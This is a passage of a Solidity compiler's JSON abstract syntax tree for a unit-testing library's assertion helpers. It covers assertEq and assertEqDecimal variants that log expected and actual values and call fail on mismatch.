decimal\\\"\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2319,\"type\":\"function (bytes32)\",\"value\":\"log_bytes32\"},\"id\":2519,\"name\":\"Identifier\",\"src\":\"2683:11:0\"},{\"attributes\":{\"hexvalue\":\"4572726f723a2057726f6e672066697865642d706f696e7420646563696d616c\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Error: Wrong fixed-point decimal\\\"\",\"value\":\"Error: Wrong fixed-point decimal\"},\"id\":2520,\"name\":\"Literal\",\"src\":\"2695:34:0\"}],\"id\":2521,\"name\":\"FunctionCall\",\"src\":\"2683:47:0\"}],\"id\":2522,\"name\":\"EmitStatement\",\"src\":\"2678:52:0\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_42fa07d7c51ce5de92a0fc65dbf7e7800814fd01c258dc50e84d5be59184bf0b\",\"typeString\":\"literal_string \\\"  Expected\\\"\"},{\"typeIdentifier\":\"t_int256\",\"typeString\":\"int256\"},{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2339,\"type\":\"function (bytes32,int256,uint256)\",\"value\":\"log_named_decimal_int\"},\"id\":2523,\"name\":\"Identifier\",\"src\":\"2749:21:0\"},{\"attributes\":{\"hexvalue\":\"20204578706563746564\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"  Expected\\\"\",\"value\":\"  Expected\"},\"id\":2524,\"name\":\"Literal\",\"src\":\"2771:12:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2511,\"type\":\"int256\",\"value\":\"b\"},\"id\":2525,\"name\":\"Identifier\",\"src\":\"2785:1:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2513,\"type\":\"uint256\",\"value\":\"decimals\"},\"id\":2526,\"name\":\"Identifier\",\"src\":\"2788:8:0\"}],\"id\":2527,\"name\":\"FunctionCall\",\"src\":\"2749:48:0\"}],\"id\":2528,\"name\":\"EmitStatement\",\"src\":\"2744:53:0\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_d7896f3f645b3ba89da46bf231a5df16e525e587a84bc9b284dfb39958fb219b\",\"typeString\":\"literal_string \\\"    Actual\\\"\"},{\"typeIdentifier\":\"t_int256\",\"typeString\":\"int256\"},{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2339,\"type\":\"function (bytes32,int256,uint256)\",\"value\":\"log_named_decimal_int\"},\"id\":2529,\"name\":\"Identifier\",\"src\":\"2816:21:0\"},{\"attributes\":{\"hexvalue\":\"2020202041637475616c\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"    Actual\\\"\",\"value\":\"    Actual\"},\"id\":2530,\"name\":\"Literal\",\"src\":\"2838:12:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2509,\"type\":\"int256\",\"value\":\"a\"},\"id\":2531,\"name\":\"Identifier\",\"src\":\"2852:1:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2513,\"type\":\"uint256\",\"value\":\"decimals\"},\"id\":2532,\"name\":\"Identifier\",\"src\":\"2855:8:0\"}],\"id\":2533,\"name\":\"FunctionCall\",\"src\":\"2816:48:0\"}],\"id\":2534,\"name\":\"EmitStatement\",\"src\":\"2811:53:0\"},{\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2385,\"type\":\"function ()\",\"value\":\"fail\"},\"id\":2535,\"name\":\"Identifier\",\"src\":\"2878:4:0\"}],\"id\":2536,\"name\":\"FunctionCall\",\"src\":\"2878:6:0\"}],\"id\":2537,\"name\":\"ExpressionStatement\",\"src\":\"2878:6:0\"}],\"id\":2538,\"name\":\"Block\",\"src\":\"2664:231:0\"}],\"id\":2539,\"name\":\"IfStatement\",\"src\":\"2652:243:0\"}],\"id\":2540,\"name\":\"Block\",\"src\":\"2642:259:0\"}],\"id\":2541,\"name\":\"FunctionDefinition\",\"src\":\"2579:322:0\"},{\"attributes\":{\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"assertEqDecimal\",\"scope\":2747,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"internal\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"a\",\"scope\":2575,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":2542,\"name\":\"ElementaryTypeName\",\"src\":\"2932:4:0\"}],\"id\":2543,\"name\":\"VariableDeclaration\",\"src\":\"2932:6:0\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"b\",\"scope\":2575,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":2544,\"name\":\"ElementaryTypeName\",\"src\":\"2940:4:0\"}],\"id\":2545,\"name\":\"VariableDeclaration\",\"src\":\"2940:6:0\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"decimals\",\"scope\":2575,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":2546,\"name\":\"ElementaryTypeName\",\"src\":\"2948:4:0\"}],\"id\":2547,\"name\":\"VariableDeclaration\",\"src\":\"2948:13:0\"}],\"id\":2548,\"name\":\"ParameterList\",\"src\":\"2931:31:0\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":2549,\"name\":\"ParameterList\",\"src\":\"2972:0:0\"},{\"children\":[{\"attributes\":{},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2543,\"type\":\"uint256\",\"value\":\"a\"},\"id\":2550,\"name\":\"Identifier\",\"src\":\"2986:1:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2545,\"type\":\"uint256\",\"value\":\"b\"},\"id\":2551,\"name\":\"Identifier\",\"src\":\"2991:1:0\"}],\"id\":2552,\"name\":\"BinaryOperation\",\"src\":\"2986:6:0\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_d69bd525c8f7746901b6dd610d1ef8c9525af6efb22052f12dfd1e9f8d21ba64\",\"typeString\":\"literal_string \\\"Error: Wrong fixed-point decimal\\\"\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2319,\"type\":\"function (bytes32)\",\"value\":\"log_bytes32\"},\"id\":2553,\"name\":\"Identifier\",\"src\":\"3013:11:0\"},{\"attributes\":{\"hexvalue\":\"4572726f723a2057726f6e672066697865642d706f696e7420646563696d616c\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Error: Wrong fixed-point decimal\\\"\",\"value\":\"Error: Wrong fixed-point decimal\"},\"id\":2554,\"name\":\"Literal\",\"src\":\"3025:34:0\"}],\"id\":2555,\"name\":\"FunctionCall\",\"src\":\"3013:47:0\"}],\"id\":2556,\"name\":\"EmitStatement\",\"src\":\"3008:52:0\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_42fa07d7c51ce5de92a0fc65dbf7e7800814fd01c258dc50e84d5be59184bf0b\",\"typeString\":\"literal_string \\\"  Expected\\\"\"},{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2347,\"type\":\"function (bytes32,uint256,uint256)\",\"value\":\"log_named_decimal_uint\"},\"id\":2557,\"name\":\"Identifier\",\"src\":\"3079:22:0\"},{\"attributes\":{\"hexvalue\":\"20204578706563746564\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"  Expected\\\"\",\"value\":\"  Expected\"},\"id\":2558,\"name\":\"Literal\",\"src\":\"3102:12:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2545,\"type\":\"uint256\",\"value\":\"b\"},\"id\":2559,\"name\":\"Identifier\",\"src\":\"3116:1:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2547,\"type\":\"uint256\",\"value\":\"decimals\"},\"id\":2560,\"name\":\"Identifier\",\"src\":\"3119:8:0\"}],\"id\":2561,\"name\":\"FunctionCall\",\"src\":\"3079:49:0\"}],\"id\":2562,\"name\":\"EmitStatement\",\"src\":\"3074:54:0\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_d7896f3f645b3ba89da46bf231a5df16e525e587a84bc9b284dfb39958fb219b\",\"typeString\":\"literal_string \\\"    Actual\\\"\"},{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2347,\"type\":\"function (bytes32,uint256,uint256)\",\"value\":\"log_named_decimal_uint\"},\"id\":2563,\"name\":\"Identifier\",\"src\":\"3147:22:0\"},{\"attributes\":{\"hexvalue\":\"2020202041637475616c\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"    Actual\\\"\",\"value\":\"    Actual\"},\"id\":2564,\"name\":\"Literal\",\"src\":\"3170:12:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2543,\"type\":\"uint256\",\"value\":\"a\"},\"id\":2565,\"name\":\"Identifier\",\"src\":\"3184:1:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2547,\"type\":\"uint256\",\"value\":\"decimals\"},\"id\":2566,\"name\":\"Identifier\",\"src\":\"3187:8:0\"}],\"id\":2567,\"name\":\"FunctionCall\",\"src\":\"3147:49:0\"}],\"id\":2568,\"name\":\"EmitStatement\",\"src\":\"3142:54:0\"},{\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2385,\"type\":\"function ()\",\"value\":\"fail\"},\"id\":2569,\"name\":\"Identifier\",\"src\":\"3210:4:0\"}],\"id\":2570,\"name\":\"FunctionCall\",\"src\":\"3210:6:0\"}],\"id\":2571,\"name\":\"ExpressionStatement\",\"src\":\"3210:6:0\"}],\"id\":2572,\"name\":\"Block\",\"src\":\"2994:233:0\"}],\"id\":2573,\"name\":\"IfStatement\",\"src\":\"2982:245:0\"}],\"id\":2574,\"name\":\"Block\",\"src\":\"2972:261:0\"}],\"id\":2575,\"name\":\"FunctionDefinition\",\"src\":\"2907:326:0\"},{\"attributes\":{\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"assertEq\",\"scope\":2747,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"internal\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"a\",\"scope\":2605,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"int256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"int\",\"type\":\"int256\"},\"id\":2576,\"name\":\"ElementaryTypeName\",\"src\":\"3257:3:0\"}],\"id\":2577,\"name\":\"VariableDeclaration\",\"src\":\"3257:5:0\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"b\",\"scope\":2605,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"int256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"int\",\"type\":\"int256\"},\"id\":2578,\"name\":\"ElementaryTypeName\",\"src\":\"3264:3:0\"}],\"id\":2579,\"name\":\"VariableDeclaration\",\"src\":\"3264:5:0\"}],\"id\":2580,\"name\":\"ParameterList\",\"src\":\"3256:14:0\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":2581,\"name\":\"ParameterList\",\"src\":\"3280:0:0\"},{\"children\":[{\"attributes\":{},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_int256\",\"typeString\":\"int256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2577,\"type\":\"int256\",\"value\":\"a\"},\"id\":2582,\"name\":\"Identifier\",\"src\":\"3294:1:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2579,\"type\":\"int256\",\"value\":\"b\"},\"id\":2583,\"name\":\"Identifier\",\"src\":\"3299:1:0\"}],\"id\":2584,\"name\":\"BinaryOperation\",\"src\":\"3294:6:0\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_c0e0094956790811a39df9244ceea912ebe74c30705441d571c418fb1519f880\",\"typeString\":\"literal_string \\\"Error: Wrong `int' value\\\"\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2319,\"type\":\"function (bytes32)\",\"value\":\"log_bytes32\"},\"id\":2585,\"name\":\"Identifier\",\"src\":\"3321:11:0\"},{\"attributes\":{\"hexvalue\":\"4572726f723a2057726f6e672060696e74272076616c7565\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Error: Wrong `int' value\\\"\",\"value\":\"Error: Wrong `int' value\"},\"id\":2586,\"name\":\"Literal\",\"src\":\"3333:26:0\"}],\"id\":2587,\"name\":\"FunctionCall\",\"src\":\"3321:39:0\"}],\"id\":2588,\"name\":\"EmitStatement\",\"src\":\"3316:44:0\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_42fa07d7c51ce5de92a0fc65dbf7e7800814fd01c258dc50e84d5be59184bf0b\",\"typeString\":\"literal_string \\\"  Expected\\\"\"},{\"typeIdentifier\":\"t_int256\",\"typeString\":\"int256\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2353,\"type\":\"function (bytes32,int256)\",\"value\":\"log_named_int\"},\"id\":2589,\"name\":\"Identifier\",\"src\":\"3379:13:0\"},{\"attributes\":{\"hexvalue\":\"20204578706563746564\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"  Expected\\\"\",\"value\":\"  Expected\"},\"id\":2590,\"name\":\"Literal\",\"src\":\"3393:12:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2579,\"type\":\"int256\",\"value\":\"b\"},\"id\":2591,\"name\":\"Identifier\",\"src\":\"3407:1:0\"}],\"id\":2592,\"name\":\"FunctionCall\",\"src\":\"3379:30:0\"}],\"id\":2593,\"name\":\"EmitStatement\",\"src\":\"3374:35:0\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_d7896f3f645b3ba89da46bf231a5df16e525e587a84bc9b284dfb39958fb219b\",\"typeString\":\"literal_string \\\"    Actual\\\"\"},{\"typeIdentifier\":\"t_int256\",\"typeString\":\"int256\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2353,\"type\":\"function (bytes32,int256)\",\"value\":\"log_named_int\"},\"id\":2594,\"name\":\"Identifier\",\"src\":\"3428:13:0\"},{\"attributes\":{\"hexvalue\":\"2020202041637475616c\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"    Actual\\\"\",\"value\":\"    Actual\"},\"id\":2595,\"name\":\"Literal\",\"src\":\"3442:12:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2577,\"type\":\"int256\",\"value\":\"a\"},\"id\":2596,\"name\":\"Identifier\",\"src\":\"3456:1:0\"}],\"id\":2597,\"name\":\"FunctionCall\",\"src\":\"3428:30:0\"}],\"id\":2598,\"name\":\"EmitStatement\",\"src\":\"3423:35:0\"},{\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2385,\"type\":\"function ()\",\"value\":\"fail\"},\"id\":2599,\"name\":\"Identifier\",\"src\":\"3472:4:0\"}],\"id\":2600,\"name\":\"FunctionCall\",\"src\":\"3472:6:0\"}],\"id\":2601,\"name\":\"ExpressionStatement\",\"src\":\"3472:6:0\"}],\"id\":2602,\"name\":\"Block\",\"src\":\"3302:187:0\"}],\"id\":2603,\"name\":\"IfStatement\",\"src\":\"3290:199:0\"}],\"id\":2604,\"name\":\"Block\",\"src\":\"3280:215:0\"}],\"id\":2605,\"name\":\"FunctionDefinition\",\"src\":\"3239:256:0\"},{\"attributes\":{\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"assertEq\",\"scope\":2747,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"internal\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"a\",\"scope\":2635,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":2606,\"name\":\"ElementaryTypeName\",\"src\":\"3519:4:0\"}],\"id\":2607,\"name\":\"VariableDeclaration\",\"src\":\"3519:6:0\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"b\",\"scope\":2635,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":2608,\"name\":\"ElementaryTypeName\",\"src\":\"3527:4:0\"}],\"id\":2609,\"name\":\"VariableDeclaration\",\"src\":\"3527:6:0\"}],\"id\":2610,\"name\":\"ParameterList\",\"src\":\"3518:16:0\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":2611,\"name\":\"ParameterList\",\"src\":\"3544:0:0\"},{\"children\":[{\"attributes\":{},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2607,\"type\":\"uint256\",\"value\":\"a\"},\"id\":2612,\"name\":\"Identifier\",\"src\":\"3558:1:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2609,\"type\":\"uint256\",\"value\":\"b\"},\"id\":2613,\"name\":\"Identifier\",\"src\":\"3563:1:0\"}],\"id\":2614,\"name\":\"BinaryOperation\",\"src\":\"3558:6:0\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_bfbe400f0ae367554cceb37d37e739b2ad5bf3dd93d1335f79b96bfc81492419\",\"typeString\":\"literal_string \\\"Error: Wrong `uint' value\\\"\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2319,\"type\":\"function (bytes32)\",\"value\":\"log_bytes32\"},\"id\":2615,\"name\":\"Identifier\",\"src\":\"3585:11:0\"},{\"attributes\":{\"hexvalue\":\"4572726f723a2057726f6e67206075696e74272076616c7565\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Error: Wrong `uint' value\\\"\",\"value\":\"Error: Wrong `uint' value\"},\"id\":2616,\"name\":\"Literal\",\"src\":\"3597:27:0\"}],\"id\":2617,\"name\":\"FunctionCall\",\"src\":\"3585:40:0\"}],\"id\":2618,\"name\":\"EmitStatement\",\"src\":\"3580:45:0\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_42fa07d7c51ce5de92a0fc65dbf7e7800814fd01c258dc50e84d5be59184bf0b\",\"typeString\":\"literal_string \\\"  Expected\\\"\"},{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2359,\"type\":\"function (bytes32,uint256)\",\"value\":\"log_named_uint\"},\"id\":2619,\"name\":\"Identifier\",\"src\":\"3644:14:0\"},{\"attributes\":{\"hexvalue\":\"20204578706563746564\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"  Expected\\\"\",\"value\":\"  Expected\"},\"id\":2620,\"name\":\"Literal\",\"src\":\"3659:12:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2609,\"type\":\"uint256\",\"value\":\"b\"},\"id\":2621,\"name\":\"Identifier\",\"src\":\"3673:1:0\"}],\"id\":2622,\"name\":\"FunctionCall\",\"src\":\"3644:31:0\"}],\"id\":2623,\"name\":\"EmitStatement\",\"src\":\"3639:36:0\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_d7896f3f645b3ba89da46bf231a5df16e525e587a84bc9b284dfb39958fb219b\",\"typeString\":\"literal_string \\\"    Actual\\\"\"},{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2359,\"type\":\"function (bytes32,uint256)\",\"value\":\"log_named_uint\"},\"id\":2624,\"name\":\"Identifier\",\"src\":\"3694:14:0\"},{\"attributes\":{\"hexvalue\":\"2020202041637475616c\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"    Actual\\\"\",\"value\":\"    Actual\"},\"id\":2625,\"name\":\"Literal\",\"src\":\"3709:12:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2607,\"type\":\"uint256\",\"value\":\"a\"},\"id\":2626,\"name\":\"Identifier\",\"src\":\"3723:1:0\"}],\"id\":2627,\"name\":\"FunctionCall\",\"src\":\"3694:31:0\"}],\"id\":2628,\"name\":\"EmitStatement\",\"src\":\"3689:36:0\"},{\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2385,\"type\":\"function ()\",\"value\":\"fail\"},\"id\":2629,\"name\":\"Identifier\",\"src\":\"3739:4:0\"}],\"id\":2630,\"name\":\"FunctionCall\",\"src\":\"3739:6:0\"}],\"id\":2631,\"name\":\"ExpressionStatement\",\"src\":\"3739:6:0\"}],\"id\":2632,\"name\":\"Block\",\"src\":\"3566:190:0\"}],\"id\":2633,\"name\":\"IfStatement\",\"src\":\"3554:202:0\"}],\"id\":2634,\"name\":\"Block\",\"src\":\"3544:218:0\"}],\"id\":2635,\"name\":\"FunctionDefinition\",\"src\":\"3501:261:0\"},{\"attributes\":{\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"assertEq\",\"scope\":2747,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"internal\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"a\",\"scope\":2675,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":2636,\"name\":\"ElementaryTypeName\",\"src\":\"3786:6:0\"}],\"id\":2637,\"name\":\"VariableDeclaration\",\"src\":\"3786:15:0\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"b\",\"scope\":2675,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":2638,\"name\":\"ElementaryTypeName\",\"src\":\"3803:6:0\"}],\"id\":2639,\"name\":\"VariableDeclaration\",\"src\":\"3803:15:0\"}],\"id\":2640,\"name\":\"ParameterList\",\"src\":\"3785:34:0\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":2641,\"name\":\"ParameterList\",\"src\":\"3829:0:0\"},{\"children\":[{\"attributes\":{},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bytes32\",\"typeString\":\"bytes32\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bytes32\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bytes_memory_ptr\",\"typeString\":\"bytes memory\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":-8,\"type\":\"function (bytes memory) pure returns 